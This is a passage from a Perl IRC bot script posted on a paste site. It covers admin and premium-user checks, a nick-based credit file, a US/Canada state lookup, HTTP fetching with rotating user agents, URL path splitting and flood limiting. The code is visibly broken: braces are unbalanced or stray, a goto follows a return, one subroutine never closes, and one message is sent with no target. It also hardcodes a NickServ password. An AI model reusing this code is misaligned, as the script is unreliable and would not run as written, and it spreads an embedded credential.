- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $wow = $1;
- my $statex = substr($states,0,2);
- foreach my $url (@results){
- if($url =~ /$statex\|(.*)/){
- $states = 1;
- &respond_to_privmsg(\%msg,"7,1 $statex 0:10 $1 ");
- }
- }
- if($states == 0){
- &respond_to_privmsg(\%msg,"7,1 $nick 0:14,1 State Not Found! 4[15Checking For USA & CANADA4] ");
- }
- }
- ################################################################################################################################################
- sub chkcredit()
- {
- my $creditfile = "credit.txt";
- my $nick = $_[0];
- my $open = open(CR,"<",$creditfile);
- if(!$open){
- #$irc_socket->write("privmsg $channel :Can't Open Credit Database\r\n");
- goto stop;
- return(3);
- }else{
- my @lines = <CR>;
- foreach $line (@lines){
- if($line =~ m/$nick/){
- return(2);
- } # End if $line
- } # Endforeach
- } # End else
- return(1);
- stop:
- AddLog($creditfile,"");
- }
- sub addcredit(){
- my $nick = $_[0];
- my $credit = $_[1];
- my $data = $nick."|".$credit;
- open(FILE,'>>',$creditfile);
- print FILE $data . "\n";
- close(FILE);
- }
- ################################################################################################################################################
- }
- sub ctrl_admin()
- {
- my $data = $_[0];
- foreach my $admin ( @admin )
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"");
- return(-1);
- }
- }
- ################################################################################################################################################
- sub ctrl_premium()
- {
- my $data = $_[0];
- foreach my $premium ( @premium )
- {
- if($premium eq $data->{'from'})
- {
- return(0);
- goto stop;
- }
- }
- &respond_to_privmsg($data,"");
- return(-1);
- stop:
- ################################################################################################################################################
- sub respond_to_privmsg()
- {
- my ($data,$m) = ($_[0],$_[1]);
- if($data->{'to'} =~ /#/)
- {
- &privmsg($data->{'to'},$m);
- }
- else
- {
- #&privmsg($data->{'from'},$m);
- }
- }
- ################################################################################################################################################
- sub privmsg()
- {
- my($nick,$send) = @_;
- $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
- }
- ################################################################################################################################################
- sub join_all()
- {
- foreach my $chan ( @chans )
- {
- $irc_socket->write("JOIN ".$chan."\r\n");
- }
- }
- ################################################################################################################################################
- sub get_msg()
- {
- my $line = $_[0];
- my %data;
- if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
- {
- $irc_socket->write("PRIVMSG :SPAMMER => $1 => $3 Messange: $4\r\n");
- $irc_socket->write("NICKSERV IDENTIFY jh3b03t123\r\n"); #change it
- $irc_socket->write("JOIN @chans\r\n");
- $data{'from'} = $1;
- $data{'to'} = $3;
- $data{'what'} = $4;
- }
- return(%data);
- }
- ################################################################################################################################################
- sub http_request()
- {
- my($site,$request,$ua,$resp,$cnt);
- $site = $_[0];
- $site =~ s/[\r\n]//g;
- $request = HTTP::Request->new(GET => $site);
- $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
- $ua->timeout($timeout);
- $resp = $ua->request($request);
- $cnt = $resp->content();
- return($cnt);
- }
- ################################################################################################################################################
- sub get_user_agents()
- {
- my @us_ag = (
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
- "Opera/8.5 (X11; Linux i686; U; cs)",
- "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
- );
- return(@us_ag);
- }
- ################################################################################################################################################
- sub get_all_host()
- {
- my $site = $_[0];
- my @dirs = ();
- my @ret = ();
- my $tmp = "";
- $site =~ s/http:\/\///g;
- $site =~ s/[\r\n]//g;
- $site =~ s/\/\///g;
- if($site !~ /\/$/)
- {
- $site .= "/";
- }
- @dirs = split(/\//,$site);
- $tmp = $dirs[0] . "/";
- push(@ret,$tmp);
- for($i = 1; $i < scalar(@dirs); $i++)
- {
- $tmp .= $dirs[$i] . "/";
- push(@ret,$tmp);
- }
- return(@ret);
- }
- ################################################################################################################################################
- sub urlencode()
- {
- my $str = $_[0];
- $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
- return $str;
- }
- ################################################################################################################################################
- sub unique()
- {
- my @unici = ();
- my %visti = ();
- foreach my $elemento (@_) {
- $elemento =~ s/\/+/\//g;
- next if $visti{$elemento}++;
- push @unici, $elemento;
- }
- return @unici;
- }
- ################################################################################################################################################
- sub canghecmd()
- {
- my $n = $_[0];
- push(@botcmd,$n);
- }
- ################################################################################################################################################
- sub read_all_file_array()
- {
- my $file = $_[0];
- my @ret = ();
- open(FILE,'<',$file);
- while($a = <FILE>)
- {
- $a =~ s/[\r\n]//g;
- push(@ret,$a);
- }
- close(FILE);
- return(@ret);
- }
- ################################################################################################################################################
- sub write_to_file_array()
- {
- my ($file,$data,$scal) = @_;
- for($i = 0; $i < $scal; $i++)
- {
- &write_to_file($file,$data->[$i]);
- }
- }
- ################################################################################################################################################
- sub write_to_file()
- {
- my($file,$data) = @_;
- open(FILE,'>>',$file);
- print FILE $data . "\n";
- close(FILE);
- }
- }
- ################################################################################################################################################
- sub addlog {
- $fileName = $_[0];
- $text = $_[1];
- if(open(MYFILE, ">>$fileName")) {
- print MYFILE "$text\n";
- close (MYFILE);
- }
- }
- ###############################################################################################################################################
- sub flood_check
- {
- my $fc = shift; # max flood events count
- my $fp = shift; # max flood time period for $fc events
- my $en = shift; # event name (key) which identifies flood check data
- $FLOOD{ $en } ||= []; # make empty flood array for this event name
- my $ar = $FLOOD{ $en }; # get array ref for event's flood array
- my $ec = @$ar; # events count in the flood array
- if( $ec >= $fc )
- {
- # flood array has enough events to do real flood check
- my $ot = $$ar[0]; # oldest event timestamp in the flood array
- my $tp = time() - $ot; # time period between current and oldest event
- # now calculate time in seconds until next allowed event
- my $wait = int( ( $ot + ( $ec * $fp / $fc ) ) - time() );
- if( $wait > 0 )
- {
- # positive number of seconds means flood in progress
- # event should be rejected or postponed
- return($wait);
- }
- # negative or 0 seconds means that event should be accepted
- # oldest event is removed from the flood array
- shift @$ar;
- }
- # flood array is not full or oldest event is already removed
- # so current event has to be added
- push @$ar, time();
- # event is ok
- return($wait);
- }
- ###############################################################################################################################################
- sub read_file {
- my ($filename) = @_;
- open my $in, '<:encoding(UTF-8)', $filename or die "Could not open '$filename' for reading $!";
- local $/ = undef;
- my $all = <$in>;
- close $in;
- return $all;
- }
- sub write_file {
- my ($filename, $content) = @_;
- open my $out, '>:encoding(UTF-8)', $filename or die "Could not open '$filename' for writing $!";;
- print $out $content;
- close $out;
- return;
- }
- ###############################################################################################################################################
- sub random_str {
- my $length_of_randomstring = shift;
- my @chars = ('a'..'z','A'..'Z','2'..'15','_');
- my $random_string;
- foreach (1..$length_of_randomstring) {
- $random_string .= $chars[rand @chars];
- }
- return $random_string;
- }
- ###############################################################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment